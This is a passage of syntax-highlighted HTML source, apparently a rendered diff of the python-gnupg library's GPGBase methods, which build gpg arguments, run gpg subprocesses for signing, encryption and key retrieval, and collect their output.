class="p">(</span><span class="n">line</span><span class="p">)</span> - <span class="n">result</span><span class="o">.</span><span class="n">_handle_status</span><span class="p">(</span><span class="n">keyword</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span> - <span class="k">elif</span> <span class="n">line</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">'gpg:'</span><span class="p">):</span> - <span class="n">line</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">_deprefix</span><span class="p">(</span><span class="n">line</span><span class="p">,</span> <span class="s">'gpg: '</span><span class="p">)</span> - <span class="n">keyword</span><span class="p">,</span> <span class="n">value</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">_separate_keyword</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> - - <span class="c"># Log gpg's userland messages at our own levels:</span> - <span class="k">if</span> <span class="n">keyword</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">"WARNING"</span><span class="p">):</span> - <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">value</span><span class="p">)</span> - <span class="k">elif</span> <span class="n">keyword</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">"FATAL"</span><span class="p">):</span> - <span class="n">log</span><span class="o">.</span><span class="n">critical</span><span class="p">(</span><span class="s">"</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">value</span><span class="p">)</span> - <span class="c"># Handle the gpg2 error where a missing trustdb.gpg is,</span> - <span class="c"># for some stupid reason, considered fatal:</span> - <span class="k">if</span> <span class="n">value</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s">"trustdb.gpg"</span><span class="p">)</span> <span class="ow">and</span> <span class="n">value</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s">"No such file"</span><span class="p">):</span> - <span class="n">result</span><span class="o">.</span><span class="n">_handle_status</span><span class="p">(</span><span class="s">'NEED_TRUSTDB'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">verbose</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">line</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">line</span><span class="p">)</span> - <span class="n">result</span><span class="o">.</span><span class="n">stderr</span> <span class="o">=</span> <span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">lines</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="GPGBase._read_data"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._read_data">[docs]</a> <span class="k">def</span> <span class="nf">_read_data</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">stream</span><span class="p">,</span> <span class="n">result</span><span class="p">):</span> - <span class="sd">"""Incrementally read from ``stream`` and store read data.</span> - -<span class="sd"> All data gathered from calling ``stream.read()`` will be concatenated</span> -<span class="sd"> and stored as ``result.data``.</span> - -<span class="sd"> :param stream: An open file-like object to read() from.</span> -<span class="sd"> :param result: An instance of one of the :ref:`result parsing classes</span> -<span class="sd"> <parsers>` from :const:`~gnupg._meta.GPGBase._result_map`.</span> -<span class="sd"> """</span> - <span class="n">chunks</span> <span class="o">=</span> <span class="p">[]</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Reading data from stream </span><span class="si">%r</span><span class="s">..."</span> <span class="o">%</span> <span class="n">stream</span><span class="o">.</span><span class="n">__repr__</span><span class="p">())</span> - - <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> - <span class="n">data</span> <span class="o">=</span> <span class="n">stream</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> - <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> - <span class="k">break</span> - <span class="n">chunks</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Read </span><span class="si">%4d</span><span class="s"> bytes"</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">))</span> - - <span class="c"># Join using b'' or '', as appropriate</span> - <span class="n">result</span><span class="o">.</span><span class="n">data</span> <span class="o">=</span> <span class="nb">type</span><span class="p">(</span><span class="n">data</span><span class="p">)()</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">chunks</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Finishing reading from stream </span><span class="si">%r</span><span class="s">..."</span> <span class="o">%</span> <span class="n">stream</span><span class="o">.</span><span class="n">__repr__</span><span class="p">())</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Read </span><span class="si">%4d</span><span class="s"> bytes total"</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">result</span><span class="o">.</span><span class="n">data</span><span class="p">))</span> -</div> -<div class="viewcode-block" id="GPGBase._collect_output"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._collect_output">[docs]</a> <span class="k">def</span> <span class="nf">_collect_output</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">process</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> <span class="n">writer</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">stdin</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Drain the subprocesses output streams, writing the collected output</span> -<span class="sd"> to the result. If a writer thread (writing to the subprocess) is given,</span> -<span class="sd"> make sure it's joined before returning. If a stdin stream is given,</span> -<span class="sd"> close it before returning.</span> -<span class="sd"> """</span> - <span class="n">stderr</span> <span class="o">=</span> <span class="n">codecs</span><span class="o">.</span><span class="n">getreader</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">_encoding</span><span class="p">)(</span><span class="n">process</span><span class="o">.</span><span class="n">stderr</span><span class="p">)</span> - <span class="n">rr</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="bp">self</span><span class="o">.</span><span class="n">_read_response</span><span class="p">,</span> - <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="n">result</span><span class="p">))</span> - <span class="n">rr</span><span class="o">.</span><span class="n">setDaemon</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">'stderr reader: </span><span class="si">%r</span><span class="s">'</span><span class="p">,</span> <span class="n">rr</span><span class="p">)</span> - <span class="n">rr</span><span class="o">.</span><span class="n">start</span><span class="p">()</span> - - <span class="n">stdout</span> <span class="o">=</span> <span class="n">process</span><span class="o">.</span><span class="n">stdout</span> - <span class="n">dr</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="bp">self</span><span class="o">.</span><span class="n">_read_data</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="n">result</span><span class="p">))</span> - <span class="n">dr</span><span class="o">.</span><span class="n">setDaemon</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">'stdout reader: </span><span class="si">%r</span><span class="s">'</span><span class="p">,</span> <span class="n">dr</span><span class="p">)</span> - <span class="n">dr</span><span class="o">.</span><span class="n">start</span><span class="p">()</span> - - <span class="n">dr</span><span class="o">.</span><span class="n">join</span><span class="p">()</span> - <span class="n">rr</span><span class="o">.</span><span class="n">join</span><span class="p">()</span> - <span class="k">if</span> <span class="n">writer</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> - <span class="n">writer</span><span class="o">.</span><span class="n">join</span><span class="p">()</span> - <span class="n">process</span><span class="o">.</span><span class="n">wait</span><span class="p">()</span> - <span class="k">if</span> <span class="n">stdin</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">stdin</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> - <span class="k">except</span> <span class="ne">IOError</span><span class="p">:</span> - <span class="k">pass</span> - <span class="n">stderr</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> - <span class="n">stdout</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> -</div> -<div class="viewcode-block" id="GPGBase._handle_io"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._handle_io">[docs]</a> <span class="k">def</span> <span class="nf">_handle_io</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="nb">file</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> <span class="n">passphrase</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">binary</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span> - <span class="sd">"""Handle a call to GPG - pass input data, collect output data."""</span> - <span class="n">p</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_open_subprocess</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">passphrase</span><span class="p">)</span> - <span class="k">if</span> <span class="ow">not</span> <span class="n">binary</span><span class="p">:</span> - <span class="n">stdin</span> <span class="o">=</span> <span class="n">codecs</span><span class="o">.</span><span class="n">getwriter</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">_encoding</span><span class="p">)(</span><span class="n">p</span><span class="o">.</span><span class="n">stdin</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">stdin</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">stdin</span> - <span class="k">if</span> <span class="n">passphrase</span><span class="p">:</span> - <span class="n">_util</span><span class="o">.</span><span class="n">_write_passphrase</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="n">passphrase</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">_encoding</span><span class="p">)</span> - <span class="n">writer</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">_threaded_copy_data</span><span class="p">(</span><span class="nb">file</span><span class="p">,</span> <span class="n">stdin</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_collect_output</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> <span class="n">writer</span><span class="p">,</span> <span class="n">stdin</span><span class="p">)</span> - <span class="k">return</span> <span class="n">result</span> -</div> -<div class="viewcode-block" id="GPGBase._recv_keys"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._recv_keys">[docs]</a> <span class="k">def</span> <span class="nf">_recv_keys</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">keyids</span><span class="p">,</span> <span class="n">keyserver</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Import keys from a keyserver.</span> - -<span class="sd"> :param str keyids: A space-delimited string containing the keyids to</span> -<span class="sd"> request.</span> -<span class="sd"> :param str keyserver: The keyserver to request the ``keyids`` from;</span> -<span class="sd"> defaults to `gnupg.GPG.keyserver`.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="ow">not</span> <span class="n">keyserver</span><span class="p">:</span> - <span class="n">keyserver</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">keyserver</span> - - <span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="s">'--keyserver {0}'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">keyserver</span><span class="p">),</span> - <span class="s">'--recv-keys {0}'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">keyids</span><span class="p">)]</span> - <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">'Requesting keys from </span><span class="si">%s</span><span class="s">: </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">keyserver</span><span class="p">,</span> <span class="n">keyids</span><span class="p">))</span> - - <span class="n">result</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_result_map</span><span class="p">[</span><span class="s">'import'</span><span class="p">](</span><span class="bp">self</span><span class="p">)</span> - <span class="n">proc</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_open_subprocess</span><span class="p">(</span><span class="n">args</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_collect_output</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="n">result</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">'recv_keys result: </span><span class="si">%r</span><span class="s">'</span><span class="p">,</span> <span class="n">result</span><span class="o">.</span><span class="n">__dict__</span><span class="p">)</span> - <span class="k">return</span> <span class="n">result</span> -</div> -<div class="viewcode-block" id="GPGBase._sign_file"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._sign_file">[docs]</a> <span class="k">def</span> <span class="nf">_sign_file</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="nb">file</span><span class="p">,</span> <span class="n">default_key</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">passphrase</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> - <span class="n">clearsign</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">detach</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">binary</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> - <span class="n">digest_algo</span><span class="o">=</span><span class="s">'SHA512'</span><span class="p">):</span> - <span class="sd">"""Create a signature for a file.</span> - -<span class="sd"> :param file: The file stream (i.e. it's already been open()'d) to sign.</span> -<span class="sd"> :param str default_key: The key to sign with.</span> -<span class="sd"> :param str passphrase: The passphrase to pipe to stdin.</span> -<span class="sd"> :param bool clearsign: If True, create a cleartext signature.</span> -<span class="sd"> :param bool detach: If True, create a detached signature.</span> -<span class="sd"> :param bool binary: If True, do not ascii armour the output.</span> -<span class="sd"> :param str digest_algo: The hash digest to use. Again, to see which</span> -<span class="sd"> hashes your GnuPG is capable of using, do:</span> -<span class="sd"> ``$ gpg --with-colons --list-config</span> -<span class="sd"> digestname``. The default, if unspecified, is</span> -<span class="sd"> ``'SHA512'``.</span> -<span class="sd"> """</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"_sign_file():"</span><span class="p">)</span> - <span class="k">if</span> <span class="n">binary</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Creating binary signature for file </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="nb">file</span><span class="p">)</span> - <span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="s">'--sign'</span><span class="p">]</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Creating ascii-armoured signature for file </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="nb">file</span><span class="p">)</span> - <span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="s">'--sign --armor'</span><span class="p">]</span> - - <span class="k">if</span> <span class="n">clearsign</span><span class="p">:</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">"--clearsign"</span><span class="p">)</span> - <span class="k">if</span> <span class="n">detach</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"Cannot use both --clearsign and --detach-sign."</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"Using default GPG behaviour: --clearsign only."</span><span class="p">)</span> - <span class="k">elif</span> <span class="n">detach</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">clearsign</span><span class="p">:</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">"--detach-sign"</span><span class="p">)</span> - - <span class="k">if</span> <span class="n">default_key</span><span class="p">:</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="s">"--default-key </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">default_key</span><span class="p">))</span> - - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="s">"--digest-algo </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">digest_algo</span><span class="p">))</span> - - <span class="c">## We could use _handle_io here except for the fact that if the</span> - <span class="c">## passphrase is bad, gpg bails and you can't write the message.</span> - <span class="n">result</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_result_map</span><span class="p">[</span><span class="s">'sign'</span><span class="p">](</span><span class="bp">self</span><span class="p">)</span> - <span class="n">proc</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_open_subprocess</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">passphrase</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">)</span> - <span class="k">try</span><span class="p">:</span> - <span class="k">if</span> <span class="n">passphrase</span><span class="p">:</span> - <span class="n">_util</span><span class="o">.</span><span class="n">_write_passphrase</span><span class="p">(</span><span class="n">proc</span><span class="o">.</span><span class="n">stdin</span><span class="p">,</span> <span class="n">passphrase</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">_encoding</span><span class="p">)</span> - <span class="n">writer</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">_threaded_copy_data</span><span class="p">(</span><span class="nb">file</span><span class="p">,</span> <span class="n">proc</span><span class="o">.</span><span class="n">stdin</span><span class="p">)</span> - <span class="k">except</span> <span class="ne">IOError</span> <span class="k">as</span> <span class="n">ioe</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">exception</span><span class="p">(</span><span class="s">"Error writing message: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">ioe</span><span class="p">))</span> - <span class="n">writer</span> <span class="o">=</span> <span class="bp">None</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_collect_output</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> <span class="n">writer</span><span class="p">,</span> <span class="n">proc</span><span class="o">.</span><span class="n">stdin</span><span class="p">)</span> - <span class="k">return</span> <span class="n">result</span> -</div> -<div class="viewcode-block" id="GPGBase._encrypt"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._encrypt">[docs]</a> <span class="k">def</span> <span class="nf">_encrypt</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">recipients</span><span class="p">,</span> - <span class="n">default_key</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> - <span class="n">passphrase</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> - <span class="n">armor</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> - <span class="n">encrypt</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> - <span class="n">symmetric</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> - <span class="n">always_trust</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> - <span class="n">output</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> - <span class="n">cipher_algo</span><span class="o">=</span><span class="s">'AES256'</span><span class="p">,</span> - <span class="n">digest_algo</span><span class="o">=</span><span class="s">'SHA512'</span><span class="p">,</span> - <span class="n">compress_algo</span><span class="o">=</span><span class="s">'ZLIB'</span><span class="p">):</span> - <span class="sd">"""Encrypt the message read from the file-like object **data**.</span> - -<span class="sd"> :param str data: The file or bytestream to encrypt.</span> - -<span class="sd"> :param str recipients: The recipients to encrypt to. Recipients must</span> -<span class="sd"> be specified keyID/fingerprint.</span> - -<span class="sd"> .. warning:: Care should be taken in Python2 to make sure that the</span> -<span class="sd"> given fingerprints for **recipients** are in fact strings</span> -<span class="sd"> and not unicode objects.</span> - -<span class="sd"> :param str default_key: The keyID/fingerprint of the key to use for</span> -<span class="sd"> signing. If given, **data** will be encrypted</span> -<span class="sd"> *and* signed.</span> - -<span class="sd"> :param str passphrase: If given, and **default_key** is also given,</span> -<span class="sd"> use this passphrase to unlock the secret</span> -<span class="sd"> portion of the **default_key** to sign the</span> -<span class="sd"> encrypted **data**. Otherwise, if</span> -<span class="sd"> **default_key** is not given, but **symmetric**</span> -<span class="sd"> is ``True``, then use this passphrase as the</span> -<span class="sd"> passphrase for symmetric encryption. Signing</span> -<span class="sd"> and symmetric encryption should *not* be</span> -<span class="sd"> combined when sending the **data** to other</span> -<span class="sd"> recipients, else the passphrase to the secret</span> -<span class="sd"> key would be shared with them.</span> - -<span class="sd"> :param bool armor: If True, ascii armor the output; otherwise, the</span> -<span class="sd"> output will be in binary format. (Default: True)</span> - -<span class="sd"> :param bool encrypt: If True, encrypt the **data** using the</span> -<span class="sd"> **recipients** public keys. (Default: True)</span> - -<span class="sd"> :param bool symmetric: If True, encrypt the **data** to **recipients**</span> -<span class="sd"> using a symmetric key. See the **passphrase**</span> -<span class="sd"> parameter. Symmetric encryption and public key</span> -<span class="sd"> encryption can be used simultaneously, and will</span> -<span class="sd"> result in a ciphertext which is decryptable</span> -<span class="sd"> with either the symmetric **passphrase** or one</span> -<span class="sd"> of the corresponding private keys.</span> - -<span class="sd"> :param bool always_trust: If True, ignore trust warnings on</span> -<span class="sd"> **recipients** keys. If False, display trust</span> -<span class="sd"> warnings. (default: True)</span> - -<span class="sd"> :param str output: The output file to write to. If not specified, the</span> -<span class="sd"> encrypted output is returned, and thus should be</span> -<span class="sd"> stored as an object in Python. For example:</span> - - -<span class="sd"> >>> import shutil</span> -<span class="sd"> >>> import gnupg</span> -<span class="sd"> >>> if os.path.exists("doctests"):</span> -<span class="sd"> ... shutil.rmtree("doctests")</span> -<span class="sd"> >>> gpg = gnupg.GPG(homedir="doctests")</span> -<span class="sd"> >>> key_settings = gpg.gen_key_input(key_type='RSA',</span> -<span class="sd"> ... key_length=1024,</span> -<span class="sd"> ... key_usage='ESCA',</span> -<span class="sd"> ... passphrase='foo')</span> -<span class="sd"> >>> key = gpg.gen_key(key_settings)</span> -<span class="sd"> >>> message = "The crow flies at midnight."</span> -<span class="sd"> >>> encrypted = str(gpg.encrypt(message, key.printprint))</span> -<span class="sd"> >>> assert encrypted != message</span> -<span class="sd"> >>> assert not encrypted.isspace()</span> -<span class="sd"> >>> decrypted = str(gpg.decrypt(encrypted))</span> -<span class="sd"> >>> assert not decrypted.isspace()</span> -<span class="sd"> >>> decrypted</span> -<span class="sd"> 'The crow flies at midnight.'</span> - -<span class="sd"> :param str cipher_algo: The cipher algorithm to use. To see available</span> -<span class="sd"> algorithms with your version of GnuPG, do:</span> -<span class="sd"> :command:`$ gpg --with-colons --list-config</span> -<span class="sd"> ciphername`. The default **cipher_algo**, if</span> -<span class="sd"> unspecified, is ``'AES256'``.</span> - -<span class="sd"> :param str digest_algo: The hash digest to use. Again, to see which</span> -<span class="sd"> hashes your GnuPG is capable of using, do:</span> -<span class="sd"> :command:`$ gpg --with-colons --list-config</span> -<span class="sd"> digestname`. The default, if unspecified, is</span> -<span class="sd"> ``'SHA512'``.</span> - -<span class="sd"> :param str compress_algo: The compression algorithm to use. Can be one</span> -<span class="sd"> of ``'ZLIB'``, ``'BZIP2'``, ``'ZIP'``, or</span> -<span class="sd"> ``'Uncompressed'``.</span> -<span class="sd"> """</span> - <span class="n">args</span> <span class="o">=</span> <span class="p">[]</span> - - <span class="k">if</span> <span class="n">output</span><span class="p">:</span> - <span class="k">if</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">output</span><span class="p">,</span> <span class="s">'fileno'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> - <span class="c">## avoid overwrite confirmation message</span> - <span class="k">if</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">output</span><span class="p">,</span> <span class="s">'name'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="n">output</span><span class="p">):</span> - <span class="n">os</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="n">output</span><span class="p">)</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--output </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">output</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="n">output</span><span class="o">.</span><span class="n">name</span><span class="p">):</span> - <span class="n">os</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="n">output</span><span class="o">.</span><span class="n">name</span><span class="p">)</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--output </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">output</span><span class="o">.</span><span class="n">name</span><span class="p">)</span> - - <span class="k">if</span> <span class="n">armor</span><span class="p">:</span> <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--armor'</span><span class="p">)</span> - <span class="k">if</span> <span class="n">always_trust</span><span class="p">:</span> <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--always-trust'</span><span class="p">)</span> - <span class="k">if</span> <span class="n">cipher_algo</span><span class="p">:</span> <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--cipher-algo </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">cipher_algo</span><span class="p">)</span> - <span class="k">if</span> <span class="n">compress_algo</span><span class="p">:</span> <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--compress-algo </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">compress_algo</span><span class="p">)</span> - - <span class="k">if</span> <span class="n">default_key</span><span class="p">:</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--sign'</span><span class="p">)</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--default-key </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">default_key</span><span class="p">)</span> - <span class="k">if</span> <span class="n">digest_algo</span><span class="p">:</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--digest-algo </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">digest_algo</span><span class="p">)</span> - - <span class="c">## both can be used at the same time for an encrypted file which</span> - <span class="c">## is decryptable with a passphrase or secretkey.</span> - <span class="k">if</span> <span class="n">symmetric</span><span class="p">:</span> <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--symmetric'</span><span class="p">)</span> - <span class="k">if</span> <span class="n">encrypt</span><span class="p">:</span> <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--encrypt'</span><span class="p">)</span> - - <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">recipients</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">1</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPG.encrypt() called for recipients '</span><span class="si">%s</span><span class="s">' with type '</span><span class="si">%s</span><span class="s">'"</span> - <span class="o">%</span> <span class="p">(</span><span class="n">recipients</span><span class="p">,</span> <span class="nb">type</span><span class="p">(</span><span class="n">recipients</span><span class="p">)))</span> - - <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">recipients</span><span class="p">,</span> <span class="p">(</span><span class="nb">list</span><span class="p">,</span> <span class="nb">tuple</span><span class="p">)):</span> - <span class="k">for</span> <span class="n">recp</span> <span class="ow">in</span> <span class="n">recipients</span><span class="p">:</span> - <span class="k">if</span> <span class="ow">not</span> <span class="n">_util</span><span class="o">.</span><span class="n">_py3k</span><span class="p">:</span> - <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">recp</span><span class="p">,</span> <span class="nb">unicode</span><span class="p">):</span> - <span class="k">try</span><span class="p">:</span> - <span class="k">assert</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">_is_hex</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">recp</span><span class="p">))</span> - <span 